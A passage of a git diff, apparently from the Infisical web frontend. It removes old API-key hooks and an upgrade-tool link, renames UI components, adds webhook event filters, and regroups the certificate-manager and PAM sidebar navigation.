-        "/api/v1/upgrade-path/calculate",
-        params
-      );
-      return data;
-    }
-  });
-};
diff --git a/frontend/src/hooks/api/users/index.tsx b/frontend/src/hooks/api/users/index.tsx
index 1645dc8ce5d..fd03a2674ed 100644
--- a/frontend/src/hooks/api/users/index.tsx
+++ b/frontend/src/hooks/api/users/index.tsx
@@ -9,12 +9,8 @@ export {
 export {
   fetchOrgUsers,
   useAddUsersToOrg,
-  useCreateAPIKey,
-  useDeleteAPIKey,
   useDeleteMe,
   useDeleteOrgMembership,
-  useGetMyAPIKeys,
-  useGetMyAPIKeysV2,
   useGetMyDuplicateAccount,
   useGetMyIp,
   useGetMyOrganizationProjects,
diff --git a/frontend/src/hooks/api/users/queries.tsx b/frontend/src/hooks/api/users/queries.tsx
index 3a1bedc4844..f76be5007f5 100644
--- a/frontend/src/hooks/api/users/queries.tsx
+++ b/frontend/src/hooks/api/users/queries.tsx
@@ -5,7 +5,6 @@ import { apiRequest } from "@app/config/request";
 import { SessionStorageKeys } from "@app/const";
 import { getAuthToken, queryClient as qc } from "@app/hooks/api/reactQuery";
 
-import { APIKeyDataV2 } from "../apiKeys/types";
 import { authKeys } from "../auth/queries";
 import { MfaMethod } from "../auth/types";
 import { TGroupWithProjectMemberships } from "../groups/types";
@@ -14,9 +13,7 @@ import { subscriptionQueryKeys } from "../subscriptions/queries";
 import { userKeys } from "./query-keys";
 import {
   AddUserToOrgDTO,
-  APIKeyData,
   AuthMethod,
-  CreateAPIKeyRes,
   DeleteOrgMembershipBatchDTO,
   DeleteOrgMembershipDTO,
   OrgUser,
@@ -384,64 +381,6 @@ export const useGetMyIp = () => {
   });
 };
 
-export const useGetMyAPIKeys = () => {
-  // TODO: deprecate (moving to API Key V2)
-  return useQuery({
-    queryKey: userKeys.myAPIKeys,
-    queryFn: async () => {
-      const { data } = await apiRequest.get<APIKeyData[]>("/api/v2/users/me/api-keys");
-      return data;
-    },
-    enabled: true
-  });
-};
-
-export const useGetMyAPIKeysV2 = () => {
-  return useQuery({
-    queryKey: userKeys.myAPIKeysV2,
-    queryFn: async () => {
-      const {
-        data: { apiKeyData }
-      } = await apiRequest.get<{ apiKeyData: APIKeyDataV2[] }>("/api/v3/users/me/api-keys");
-      return apiKeyData;
-    },
-    enabled: true
-  });
-};
-
-export const useCreateAPIKey = () => {
-  // TODO: deprecate (moving to API Key V2)
-  const queryClient = useQueryClient();
-  return useMutation({
-    mutationFn: async ({ name, expiresIn }: { name: string; expiresIn: number }) => {
-      const { data } = await apiRequest.post<CreateAPIKeyRes>("/api/v2/users/me/api-keys", {
-        name,
-        expiresIn
-      });
-
-      return data;
-    },
-    onSuccess() {
-      queryClient.invalidateQueries({ queryKey: userKeys.myAPIKeys });
-    }
-  });
-};
-
-export const useDeleteAPIKey = () => {
-  // TODO: deprecate (moving to API Key V2)
-  const queryClient = useQueryClient();
-  return useMutation({
-    mutationFn: async (apiKeyDataId: string) => {
-      const { data } = await apiRequest.delete(`/api/v2/users/me/api-keys/${apiKeyDataId}`);
-
-      return data;
-    },
-    onSuccess() {
-      queryClient.invalidateQueries({ queryKey: userKeys.myAPIKeys });
-    }
-  });
-};
-
 export const useGetMySessions = () => {
   return useQuery({
     queryKey: userKeys.mySessions,
diff --git a/frontend/src/hooks/api/webhooks/mutation.tsx b/frontend/src/hooks/api/webhooks/mutation.tsx
index 66eb8ae1702..4eed0b23fb9 100644
--- a/frontend/src/hooks/api/webhooks/mutation.tsx
+++ b/frontend/src/hooks/api/webhooks/mutation.tsx
@@ -3,7 +3,13 @@ import { useMutation, useQueryClient } from "@tanstack/react-query";
 import { apiRequest } from "@app/config/request";
 
 import { queryKeys } from "./query";
-import { TCreateWebhookDto, TDeleteWebhookDto, TTestWebhookDTO, TUpdateWebhookDto } from "./types";
+import {
+  TCreateWebhookDto,
+  TDeleteWebhookDto,
+  TTestWebhookDTO,
+  TUpdateWebhookDto,
+  WebhookEvent
+} from "./types";
 
 export const useCreateWebhook = () => {
   const queryClient = useQueryClient();
@@ -41,8 +47,21 @@ export const useUpdateWebhook = () => {
 
   return useMutation<object, object, TUpdateWebhookDto>({
     mutationFn: async (dto) => {
+      const payload: {
+        isDisabled?: boolean;
+        eventsFilter?: { eventName: WebhookEvent }[];
+      } = {};
+
+      if (dto.isDisabled !== undefined) {
+        payload.isDisabled = dto.isDisabled;
+      }
+
+      if (dto.eventsFilter !== undefined) {
+        payload.eventsFilter = dto.eventsFilter;
+      }
+
       const { data } = await apiRequest.patch(`/api/v1/webhooks/${dto.webhookId}`, {
-        isDisabled: dto.isDisabled
+        ...payload
       });
       return data;
     },
diff --git a/frontend/src/hooks/api/webhooks/types.ts b/frontend/src/hooks/api/webhooks/types.ts
index c1c98b4e3f2..98c8d2e6ca6 100644
--- a/frontend/src/hooks/api/webhooks/types.ts
+++ b/frontend/src/hooks/api/webhooks/types.ts
@@ -4,6 +4,29 @@ export enum WebhookType {
   MICROSOFT_TEAMS = "microsoft-teams"
 }
 
+export enum WebhookEvent {
+  SecretModified = "secrets.modified",
+  SecretRotationFailed = "secrets.rotation-failed"
+}
+
+export type TWebhookEventMetadata = {
+  label: string;
+  description: string;
+};
+
+export const WEBHOOK_EVENTS = Object.values(WebhookEvent) as WebhookEvent[];
+
+export const WEBHOOK_EVENT_METADATA: Record<WebhookEvent, TWebhookEventMetadata> = {
+  [WebhookEvent.SecretRotationFailed]: {
+    label: "Secret Rotation Failed",
+    description: "Triggered when a secret rotation fails"
+  },
+  [WebhookEvent.SecretModified]: {
+    label: "Secret Modified",
+    description: "Triggered when secrets are modified"
+  }
+};
+
 export type TWebhook = {
   id: string;
   type: WebhookType;
@@ -19,6 +42,7 @@ export type TWebhook = {
   lastStatus: "success" | "failed";
   lastRunErrorMessage?: string;
   isDisabled: boolean;
+  eventsFilter: { eventName: WebhookEvent }[];
   createdAt: string;
   updatedAt: string;
 };
@@ -30,12 +54,14 @@ export type TCreateWebhookDto = {
   webhookSecretKey?: string;
   secretPath: string;
   type: WebhookType;
+  eventsFilter?: { eventName: WebhookEvent }[];
 };
 
 export type TUpdateWebhookDto = {
   webhookId: string;
   projectId: string;
   isDisabled?: boolean;
+  eventsFilter?: { eventName: WebhookEvent }[];
 };
 
 export type TDeleteWebhookDto = {
diff --git a/frontend/src/layouts/OrganizationLayout/components/NavBar/Navbar.tsx b/frontend/src/layouts/OrganizationLayout/components/NavBar/Navbar.tsx
index 8ac5e4265be..d9e205634ad 100644
--- a/frontend/src/layouts/OrganizationLayout/components/NavBar/Navbar.tsx
+++ b/frontend/src/layouts/OrganizationLayout/components/NavBar/Navbar.tsx
@@ -22,8 +22,7 @@ import {
   TriangleAlertIcon,
   User,
   UserPlus,
-  Users,
-  Wrench
+  Users
 } from "lucide-react";
 import { twMerge } from "tailwind-merge";
 
@@ -35,6 +34,7 @@ import { Button as V2Button, Modal, ModalContent } from "@app/components/v2";
 import {
   Badge,
   Button,
+  ButtonGroup,
   Command,
   CommandEmpty,
   CommandGroup,
@@ -42,6 +42,12 @@ import {
   CommandItem,
   CommandList,
   CommandSeparator,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+  IconButton,
   InstanceIcon,
   OrgIcon,
   Popover,
@@ -51,14 +57,7 @@ import {
   SubOrgIcon,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableButtonGroup,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuSeparator,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton
+  TooltipTrigger
 } from "@app/components/v3";
 import { SidebarTrigger } from "@app/components/v3/generic/Sidebar";
 import { envConfig } from "@app/config/env";
@@ -135,8 +134,7 @@ export const INFISICAL_SUPPORT_OPTIONS = [
   ],
   [Github, "GitHub Issues", () => "https://github.com/Infisical/infisical/issues"],
   [Mail, "Email Support", getFormattedSupportEmailLink],
-  [Users, "Instance Admins", () => "server-admins"],
-  [Wrench, "Version Upgrade Tool", () => "/upgrade-path"]
+  [Users, "Instance Admins", () => "server-admins"]
 ] as const;
 
 export const Navbar = () => {
@@ -218,7 +216,6 @@ export const Navbar = () => {
     }
 
     SecurityClient.setToken(token);
-    SecurityClient.setProviderAuthToken("");
     queryClient.removeQueries({ queryKey: authKeys.getAuthToken });
     queryClient.removeQueries({ queryKey: subOrgQuery.queryKey });
 
@@ -436,9 +433,9 @@ export const Navbar = () => {
                   )}
                 </div>
                 <PopoverTrigger asChild>
-                  <UnstableIconButton variant="ghost" size="xs" aria-label="switch-org">
+                  <IconButton variant="ghost" size="xs" aria-label="switch-org">
                     <ChevronsUpDown />
-                  </UnstableIconButton>
+                  </IconButton>
                 </PopoverTrigger>
                 <PopoverContent align="start" sideOffset={20} className="w-96 p-0">
                   <Command>
@@ -612,14 +609,14 @@ export const Navbar = () => {
           }
         </OrgPermissionCan>
       )}
-      <UnstableButtonGroup className="mr-2">
-        <UnstableDropdownMenu modal={false}>
-          <UnstableDropdownMenuTrigger asChild>
-            <UnstableIconButton variant="outline" size="sm" aria-label="Help">
+      <ButtonGroup className="mr-2">
+        <DropdownMenu modal={false}>
+          <DropdownMenuTrigger asChild>
+            <IconButton variant="outline" size="sm" aria-label="Help">
               <CircleHelp />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end" side="bottom" sideOffset={8}>
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end" side="bottom" sideOffset={8}>
             {INFISICAL_SUPPORT_OPTIONS.map(([Icon, text, getUrl]) => {
               const url =
                 text === "Email Support"
@@ -633,67 +630,60 @@ export const Navbar = () => {
               if (url === "server-admins" && isInfisicalCloud()) {
                 return null;
               }
-              if (url === "upgrade-path" && isInfisicalCloud()) {
-                return null;
-              }
-
               if (url === "server-admins") {
                 return (
-                  <UnstableDropdownMenuItem
-                    key="server-admins"
-                    onSelect={() => setShowAdminsModal(true)}
-                  >
+                  <DropdownMenuItem key="server-admins" onSelect={() => setShowAdminsModal(true)}>
                     <Icon className="size-4" />
                     {text}
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 );
               }
 
               return (
-                <UnstableDropdownMenuItem key={url as string} asChild>
+                <DropdownMenuItem key={url as string} asChild>
                   <a target="_blank" rel="noopener noreferrer" href={String(url)}>
                     <Icon />
                     {text}
                   </a>
-                </UnstableDropdownMenuItem>
+                </DropdownMenuItem>
               );
             })}
             {envConfig.PLATFORM_VERSION && (
               <>
-                <UnstableDropdownMenuSeparator />
+                <DropdownMenuSeparator />
                 <div className="flex items-center gap-2 px-3 py-1.5 text-xs text-muted">
                   <Info className="size-3.5" />
                   Version: {envConfig.PLATFORM_VERSION}
                 </div>
               </>
             )}
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
+          </DropdownMenuContent>
+        </DropdownMenu>
         <NotificationDropdown />
-        <UnstableDropdownMenu modal={false}>
-          <UnstableDropdownMenuTrigger asChild>
-            <UnstableIconButton variant="outline" size="sm" aria-label="User menu">
+        <DropdownMenu modal={false}>
+          <DropdownMenuTrigger asChild>
+            <IconButton variant="outline" size="sm" aria-label="User menu">
               <User />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent side="bottom" align="end" sideOffset={8}>
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent side="bottom" align="end" sideOffset={8}>
             <div className="cursor-default px-3 py-2">
               <div className="text-sm font-medium capitalize">
                 {user?.firstName} {user?.lastName}
               </div>
               <div className="text-muted-foreground text-xs">{user.email}</div>
             </div>
-            <UnstableDropdownMenuSeparator />
-            <UnstableDropdownMenuItem asChild>
+            <DropdownMenuSeparator />
+            <DropdownMenuItem asChild>
               <Link to="/personal-settings">
                 <Settings className="size-4" />
                 Personal Settings
               </Link>
-            </UnstableDropdownMenuItem>
+            </DropdownMenuItem>
             <OrgPermissionCan I={OrgPermissionActions.Create} a={OrgPermissionSubjects.Member}>
               {(isAllowed) =>
                 isAllowed ? (
-                  <UnstableDropdownMenuItem asChild>
+                  <DropdownMenuItem asChild>
                     <Link
                       to="/organizations/$orgId/access-management"
                       params={{ orgId: currentOrg.id }}
@@ -705,12 +695,12 @@ export const Navbar = () => {
                       <UserPlus />
                       Invite Users
                     </Link>
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 ) : null
               }
             </OrgPermissionCan>
-            <UnstableDropdownMenuSeparator />
-            <UnstableDropdownMenuItem asChild>
+            <DropdownMenuSeparator />
+            <DropdownMenuItem asChild>
               <a
                 href="https://infisical.com/docs/documentation/getting-started/introduction"
                 target="_blank"
@@ -720,16 +710,16 @@ export const Navbar = () => {
                 Documentation
                 <ExternalLink className="ml-auto size-3.5 opacity-50" />
               </a>
-            </UnstableDropdownMenuItem>
-            <UnstableDropdownMenuItem asChild>
+            </DropdownMenuItem>
+            <DropdownMenuItem asChild>
               <a href="https://infisical.com/slack" target="_blank" rel="noopener noreferrer">
                 <Slack />
                 Join Slack Community
                 <ExternalLink className="ml-auto size-3.5 opacity-50" />
               </a>
-            </UnstableDropdownMenuItem>
-            <UnstableDropdownMenuSeparator />
-            <UnstableDropdownMenuItem onSelect={handleCopyToken}>
+            </DropdownMenuItem>
+            <DropdownMenuSeparator />
+            <DropdownMenuItem onSelect={handleCopyToken}>
               <Clipboard />
               Copy Token
               <Tooltip>
@@ -741,15 +731,15 @@ export const Navbar = () => {
                   within the organization you&apos;re currently logged into.
                 </TooltipContent>
               </Tooltip>
-            </UnstableDropdownMenuItem>
-            <UnstableDropdownMenuSeparator />
-            <UnstableDropdownMenuItem onSelect={logOutUser}>
+            </DropdownMenuItem>
+            <DropdownMenuSeparator />
+            <DropdownMenuItem onSelect={logOutUser}>
               <LogOut />
               Log Out
-            </UnstableDropdownMenuItem>
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
-      </UnstableButtonGroup>
+            </DropdownMenuItem>
+          </DropdownMenuContent>
+        </DropdownMenu>
+      </ButtonGroup>
 
       <Modal
         isOpen={showCardDeclinedModal}
diff --git a/frontend/src/layouts/OrganizationLayout/components/NavBar/NewSubOrganizationForm.tsx b/frontend/src/layouts/OrganizationLayout/components/NavBar/NewSubOrganizationForm.tsx
index 92fc3cc82c9..170d5feee1a 100644
--- a/frontend/src/layouts/OrganizationLayout/components/NavBar/NewSubOrganizationForm.tsx
+++ b/frontend/src/layouts/OrganizationLayout/components/NavBar/NewSubOrganizationForm.tsx
@@ -48,7 +48,6 @@ export const NewSubOrganizationForm = ({ onClose, handleOrgSelection }: ContentP
       });
 
       SecurityClient.setToken(token);
-      SecurityClient.setProviderAuthToken("");
     }
 
     const { organization } = await createSubOrg.mutateAsync({
diff --git a/frontend/src/layouts/OrganizationLayout/components/NavBar/NotificationDropdown.tsx b/frontend/src/layouts/OrganizationLayout/components/NavBar/NotificationDropdown.tsx
index 596c1d8ac9a..d9e533f1bc1 100644
--- a/frontend/src/layouts/OrganizationLayout/components/NavBar/NotificationDropdown.tsx
+++ b/frontend/src/layouts/OrganizationLayout/components/NavBar/NotificationDropdown.tsx
@@ -10,7 +10,7 @@ import {
   DropdownMenuContent,
   DropdownMenuTrigger
 } from "@app/components/v2";
-import { UnstableIconButton } from "@app/components/v3";
+import { IconButton } from "@app/components/v3";
 import {
   useDeleteNotification,
   useMarkAllNotificationsAsRead,
@@ -44,14 +44,9 @@ export const NotificationDropdown = () => {
   return (
     <DropdownMenu modal={false}>
       <DropdownMenuTrigger asChild>
-        <UnstableIconButton
-          variant="outline"
-          size="sm"
-          aria-label="Notifications"
-          className="relative"
-        >
+        <IconButton variant="outline" size="sm" aria-label="Notifications" className="relative">
           {unreadCount > 0 ? <BellDotIcon className="text-warning" /> : <Bell />}
-        </UnstableIconButton>
+        </IconButton>
       </DropdownMenuTrigger>
       <DropdownMenuContent
         align="end"
diff --git a/frontend/src/layouts/OrganizationLayout/components/NetworkHealthBanner/NetworkHealthBanner.tsx b/frontend/src/layouts/OrganizationLayout/components/NetworkHealthBanner/NetworkHealthBanner.tsx
index e63dc7e328f..4c690955f09 100644
--- a/frontend/src/layouts/OrganizationLayout/components/NetworkHealthBanner/NetworkHealthBanner.tsx
+++ b/frontend/src/layouts/OrganizationLayout/components/NetworkHealthBanner/NetworkHealthBanner.tsx
@@ -70,6 +70,13 @@ export const NetworkHealthBanner = () => {
         ) {
           return true;
         }
+        if (!("heartbeat" in g)) return false;
+        // Skip gateways that have never connected (both fields null)
+        if (
+          g.heartbeat === null &&
+          ("lastHealthCheckStatus" in g ? g.lastHealthCheckStatus : null) === null
+        )
+          return false;
         return isHeartbeatStale(g.heartbeat);
       }).length ?? 0,
     [gateways]
diff --git a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/CertManagerNav.tsx b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/CertManagerNav.tsx
index 3828c99ad66..dcc5aa4d49f 100644
--- a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/CertManagerNav.tsx
+++ b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/CertManagerNav.tsx
@@ -1,9 +1,11 @@
 import {
   Bell,
   BookCheck,
-  Cable,
+  FileCheck,
   FileKey,
   FileText,
+  Key,
+  LayoutDashboard,
   Monitor,
   PenTool,
   Plug,
@@ -13,18 +15,19 @@ import {
   ShieldCheck
 } from "lucide-react";
 
+import { SidebarCollapsibleGroup, SidebarMenu } from "@app/components/v3";
 import { useProject, useSubscription } from "@app/context";
 import {
   useListWorkspaceCertificateTemplates,
   useListWorkspacePkiSubscribers
 } from "@app/hooks/api";
 
-import { ProjectNavList } from "./ProjectNavLink";
+import { ProjectNavLink, ProjectNavList } from "./ProjectNavLink";
 import {
   CERT_APPROVALS_SUBMENU,
   CERT_CERTIFICATES_SUBMENU,
-  CERT_CODE_SIGNING_SUBMENU,
   CERT_DISCOVERY_SUBMENU,
+  CERT_INTEGRATIONS_SUBMENU,
   CERT_SETTINGS_SUBMENU,
   PROJECT_ACCESS_CONTROL_SUBMENU
 } from "./submenus";
@@ -43,7 +46,19 @@ export const CertManagerNav = ({
   });
   const templates = templatesData?.certificateTemplates || [];
 
-  const items: NavItem[] = [
+  const dashboardItem: NavItem = {
+    label: "Dashboard",
+    icon: LayoutDashboard,
+    pathSuffix: "overview"
+  };
+
+  const certInfraItems: NavItem[] = [
+    {
+      label: "Certificate Authorities",
+      icon: ShieldCheck,
+      pathSuffix: "certificate-authorities",
+      activeMatch: /\/ca\//
+    },
     {
       label: "Certificates",
       icon: FileKey,
@@ -57,19 +72,6 @@ export const CertManagerNav = ({
       activeMatch: /\/discovery/,
       submenu: CERT_DISCOVERY_SUBMENU
     },
-    {
-      label: "Certificate Authorities",
-      icon: ShieldCheck,
-      pathSuffix: "certificate-authorities",
-      activeMatch: /\/ca\//
-    },
-    {
-      label: "Code Signing",
-      icon: PenTool,
-      pathSuffix: "code-signing",
-      activeMatch: /\/code-signing/,
-      submenu: CERT_CODE_SIGNING_SUBMENU
-    },
     { label: "Alerting", icon: Bell, pathSuffix: "alerting" },
     {
       label: "Approvals",
@@ -77,8 +79,6 @@ export const CertManagerNav = ({
       pathSuffix: "approvals",
       submenu: CERT_APPROVALS_SUBMENU
     },
-    { label: "Integrations", icon: Plug, pathSuffix: "integrations" },
-    { label: "App Connections", icon: Cable, pathSuffix: "app-connections" },
     {
       label: "Subscribers (Legacy)",
       icon: Monitor,
@@ -90,6 +90,47 @@ export const CertManagerNav = ({
       icon: FileKey,
       pathSuffix: "certificate-templates",
       hidden: !(subscription.pkiLegacyTemplates || templates.length > 0)
+    }
+  ];
+
+  const codeSigningItems: NavItem[] = [
+    {
+      label: "Signers",
+      icon: PenTool,
+      pathSuffix: "code-signing",
+      activeMatch: /\/code-signing/,
+      search: { selectedTab: "signers" },
+      isDefaultSearch: true
+    },
+    {
+      label: "Signing Requests",
+      icon: FileCheck,
+      pathSuffix: "code-signing",
+      activeMatch: /\/code-signing/,
+      search: { selectedTab: "signing-requests" }
+    },
+    {
+      label: "Signing Policies",
+      icon: Shield,
+      pathSuffix: "code-signing",
+      activeMatch: /\/code-signing/,
+      search: { selectedTab: "signing-policies" }
+    },
+    {
+      label: "Grants",
+      icon: Key,
+      pathSuffix: "code-signing",
+      activeMatch: /\/code-signing/,
+      search: { selectedTab: "grants" }
+    }
+  ];
+
+  const generalItems: NavItem[] = [
+    {
+      label: "Integrations",
+      icon: Plug,
+      pathSuffix: "integrations",
+      submenu: CERT_INTEGRATIONS_SUBMENU
     },
     {
       label: "Access Control",
@@ -106,5 +147,21 @@ export const CertManagerNav = ({
       submenu: CERT_SETTINGS_SUBMENU
     }
   ];
-  return <ProjectNavList items={items} onSubmenuOpen={onSubmenuOpen} />;
+
+  return (
+    <>
+      <SidebarMenu>
+        <ProjectNavLink item={dashboardItem} />
+      </SidebarMenu>
+      <SidebarCollapsibleGroup label="Certificate Infrastructure">
+        <ProjectNavList items={certInfraItems} onSubmenuOpen={onSubmenuOpen} />
+      </SidebarCollapsibleGroup>
+      <SidebarCollapsibleGroup label="Code Signing">
+        <ProjectNavList items={codeSigningItems} onSubmenuOpen={onSubmenuOpen} />
+      </SidebarCollapsibleGroup>
+      <SidebarCollapsibleGroup label="General">
+        <ProjectNavList items={generalItems} onSubmenuOpen={onSubmenuOpen} />
+      </SidebarCollapsibleGroup>
+    </>
+  );
 };
diff --git a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/PamNav.tsx b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/PamNav.tsx
index 0b1eebbfbb3..2c43ce3110c 100644
--- a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/PamNav.tsx
+++ b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/PamNav.tsx
@@ -2,6 +2,7 @@ import {
   BookCheck,
   Database,
   FileText,
+  Globe,
   ScrollText,
   Search,
   Settings,
@@ -16,8 +17,9 @@ import type { NavItem, Submenu } from "./types";
 export const PamNav = ({ onSubmenuOpen }: { onSubmenuOpen: (submenu: Submenu) => void }) => {
   const items: NavItem[] = [
     { label: "Resources", icon: Database, pathSuffix: "resources" },
-    { label: "Sessions", icon: Video, pathSuffix: "sessions" },
     { label: "Discovery", icon: Search, pathSuffix: "discovery", activeMatch: /\/discovery\// },
+    { label: "Sessions", icon: Video, pathSuffix: "sessions" },
+    { label: "Domains", icon: Globe, pathSuffix: "domains" },
     { label: "Account Policies", icon: ScrollText, pathSuffix: "account-policies" },
     {
       label: "Approvals",
diff --git a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/ProjectNav.tsx b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/ProjectNav.tsx
index 1950782bff7..399e4e6ed59 100644
--- a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/ProjectNav.tsx
+++ b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/ProjectNav.tsx
@@ -1,9 +1,9 @@
 import { useEffect, useState } from "react";
 import { useLocation, useNavigate } from "@tanstack/react-router";
 import { AnimatePresence, motion } from "framer-motion";
-import { ChevronLeft, DoorOpen, FileKey, Shield } from "lucide-react";
+import { ChevronLeft } from "lucide-react";
 
-import { SidebarGroup, SidebarGroupLabel, SidebarMenu } from "@app/components/v3";
+import { SidebarGroup, SidebarGroupLabel } from "@app/components/v3";
 import { useOrganization, useProject } from "@app/context";
 import { ProjectType } from "@app/hooks/api/projects/types";
 
@@ -17,8 +17,8 @@ import { SshNav } from "./SshNav";
 import {
   CERT_APPROVALS_SUBMENU,
   CERT_CERTIFICATES_SUBMENU,
-  CERT_CODE_SIGNING_SUBMENU,
   CERT_DISCOVERY_SUBMENU,
+  CERT_INTEGRATIONS_SUBMENU,
   CERT_SETTINGS_SUBMENU,
   INTEGRATIONS_SUBMENU,
   MCP_SUBMENU,
@@ -31,6 +31,7 @@ import {
 import { ProjectSubmenuView } from "./SubmenuViews";
 import type { Submenu } from "./types";
 import { PROJECT_TYPE_PATH } from "./types";
+import { useApprovalSubmenu } from "./useApprovalSubmenu";
 
 const PROJECT_NAV_COMPONENT: Record<
   ProjectType,
@@ -52,6 +53,8 @@ export const ProjectNav = () => {
   const { currentOrg, isSubOrganization } = useOrganization();
   const { pathname } = useLocation();
   const navigate = useNavigate();
+  const { submenu: smApprovalsSubmenu, pendingRequestsCount: smPendingCount } =
+    useApprovalSubmenu();
   const projectLabel = isSubOrganization ? "Sub-Organization" : "Organization";
   const NavComponent = PROJECT_NAV_COMPONENT[currentProject.type];
 
@@ -68,7 +71,6 @@ export const ProjectNav = () => {
   const isCertManager = currentProject.type === ProjectType.CertificateManager;
   const isOnCertPolicies = isCertManager && pathname.includes("/policies");
   const isOnCertDiscovery = isCertManager && pathname.includes("/discovery");
-  const isOnCertCodeSigning = isCertManager && pathname.includes("/code-signing");
   const isOnCertApprovals = isCertManager && pathname.includes("/approvals");
 
   const getInitialProjectSubmenu = (): Submenu | null => {
@@ -78,6 +80,7 @@ export const ProjectNav = () => {
         : PROJECT_ACCESS_CONTROL_SUBMENU;
     if (isOnIntegrations && currentProject.type === ProjectType.SecretManager)
       return INTEGRATIONS_SUBMENU;
+    if (isOnIntegrations && isCertManager) return CERT_INTEGRATIONS_SUBMENU;
     if (isOnProjectSettings && currentProject.type === ProjectType.SecretManager)
       return SM_SETTINGS_SUBMENU;
     if (isOnProjectSettings && isCertManager) return CERT_SETTINGS_SUBMENU;
@@ -86,21 +89,10 @@ export const ProjectNav = () => {
     if (isOnMcpOverview) return MCP_SUBMENU;
     if (isOnCertPolicies) return CERT_CERTIFICATES_SUBMENU;
     if (isOnCertDiscovery) return CERT_DISCOVERY_SUBMENU;
-    if (isOnCertCodeSigning) return CERT_CODE_SIGNING_SUBMENU;
     if (isOnCertApprovals) return CERT_APPROVALS_SUBMENU;
     if (currentProject.type === ProjectType.PAM && pathname.includes("/approvals"))
       return PAM_APPROVALS_SUBMENU;
-    if (isOnApproval)
-      return {
-        title: "Approvals",
-        pathSuffix: "approval",
-        defaultTab: "approval-requests",
-        items: [
-          { label: "Change Requests", icon: FileKey, tab: "approval-requests" },
-          { label: "Access Requests", icon: DoorOpen, tab: "resource-requests" },
-          { label: "Policies", icon: Shield, tab: "policies" }
-        ]
-      };
+    if (isOnApproval) return smApprovalsSubmenu;
     return null;
   };
 
@@ -110,6 +102,16 @@ export const ProjectNav = () => {
     setActiveSubmenu(getInitialProjectSubmenu());
   }, [pathname]); // eslint-disable-line react-hooks/exhaustive-deps
 
+  // Keep the active submenu in sync when badge data changes
+  useEffect(() => {
+    setActiveSubmenu((current) => {
+      if (current && current.pathSuffix === smApprovalsSubmenu.pathSuffix) {
+        return smApprovalsSubmenu;
+      }
+      return current;
+    });
+  }, [smPendingCount]); // eslint-disable-line react-hooks/exhaustive-deps
+
   const handleSubmenuOpen = (submenu: Submenu) => {
     setActiveSubmenu(submenu);
     const typePath = PROJECT_TYPE_PATH[currentProject.type];
@@ -161,9 +163,7 @@ export const ProjectNav = () => {
                 <span>{projectLabel}</span>
               </button>
             </SidebarGroupLabel>
-            <SidebarMenu>
-              <NavComponent onSubmenuOpen={handleSubmenuOpen} />
-            </SidebarMenu>
+            <NavComponent onSubmenuOpen={handleSubmenuOpen} />
           </SidebarGroup>
         </motion.div>
       )}
diff --git a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/ProjectNavLink.tsx b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/ProjectNavLink.tsx
index 7f3546ddb3e..c848ba6ac82 100644
--- a/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/ProjectNavLink.tsx
+++ b/frontend/src/layouts/OrganizationLayout/components/OrgSidebar/ProjectNavLink.tsx
@@ -2,7 +2,7 @@ import { Link, useLocation } from "@tanstack/react-router";
 import { ChevronRight } from "lucide-react";
 import { twMerge } from "tailwind-merge";
 
-import { Badge, SidebarMenuButton, SidebarMenuItem } from "@app/components/v3";
+import { Badge, SidebarMenu, SidebarMenuButton, SidebarMenuItem } from "@app/components/v3";
 import { useOrganization, useProject } from "@app/context";
 
 import type { NavItem, Submenu } from "./types";
@@ -19,12 +19,20 @@ export const ProjectNavLink = ({
 }) => {
   const { currentOrg } = useOrganization();
   const { currentProject } = useProject();
-  const { pathname } = useLocation();
+  const { pathname, search: locationSearch } = useLocation();
 
   const typePath = PROJECT_TYPE_PATH[currentProject.type];
   const basePath = `/organizations/${currentOrg.id}/projects/${typePath}/${currentProject.id}`;
   const fullPath = `${basePath}/${item.pathSuffix}`;
-  const isActive = pathname.startsWith(fullPath) || Boolean(item.activeMatch?.test(pathname));
+
+  const pathMatch = pathname.startsWith(fullPath) || Boolean(item.activeMatch?.test(pathname));
+  const isActive = item.search
+    ? pathMatch &&
+      Object.entries(item.search).every(([key, value]) => {
+        const urlValue = (locationSearch as Record<string, unknown>)?.[key];
+        return urlValue === value || (urlValue === undefined && item.isDefaultSearch);
+      })
+    : pathMatch;
 
   if (item.submenu && onSubmenuOpen) {
     return (
@@ -57,6 +65,8 @@ export const ProjectNavLink = ({
           to={`/organizations/$orgId/projects/${typePath}/$projectId/${item.pathSuffix}` as any}
           // eslint-disable-next-line @typescript-eslint/no-explicit-any
           params={{ orgId: currentOrg.id, projectId: currentProject.id } as any}
+          // eslint-disable-next-line @typescript-eslint/no-explicit-any
+          search={item.search as any}
         >
           <item.icon className="size-4" />
           <span>{item.label}</span>
@@ -78,7 +88,7 @@ export const ProjectNavList = ({
   items: NavItem[];
   onSubmenuOpen: (submenu: Submenu) => void;
 }) => (
-  <>
+  <SidebarMenu>
     {items
       .filter((i) => !i.hidden)
       .map((item) => (
